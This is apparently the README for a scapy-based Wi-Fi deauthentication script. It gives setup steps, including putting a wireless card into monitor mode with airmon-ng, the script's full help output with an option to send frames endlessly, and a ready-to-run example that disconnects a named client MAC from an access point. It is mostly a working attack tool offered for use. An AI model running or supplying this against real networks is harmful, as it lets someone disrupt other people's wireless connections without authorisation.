to run this:

• Linux Machine.
• USB WLAN Stick.
• aircrack-ng.
• Turn the network interface to Monitor mode using the command:

  airmon-ng start wlan0
  
• pip3 install -r requirements.txt.

• python3 scapy_deauth.py --help
  
  Output:

  usage: scapy_deauth.py [-h] [-c COUNT] [--interval INTERVAL] [-i IFACE] [-v]
                       target gateway
  
  A python script for sending deauthentication frames
  
  positional arguments:
  target                Target MAC address to deauthenticate.
  gateway               Gateway MAC address that target is authenticated with
  
  optional arguments:
  -h, --help            show this help message and exit
  -c COUNT, --count COUNT
                          number of deauthentication frames to send, specify 0
                          to keep sending infinitely, default is 0
  --interval INTERVAL   The sending frequency between two frames sent, default
                          is 100ms
  -i IFACE              Interface to use, must be in monitor mode, default is
                          'wlan0mon'
  -v, --verbose         wether to print messages
  
  For instance, if you want to deauthenticate "00:ae:fa:81:e2:5e" on an access point "e8:94:f6:c4:97:3f", you can easily by:

  python3 scapy_deauth.py 00:ae:fa:81:e2:5e e8:94:f6:c4:97:3f -i wlan0mon -v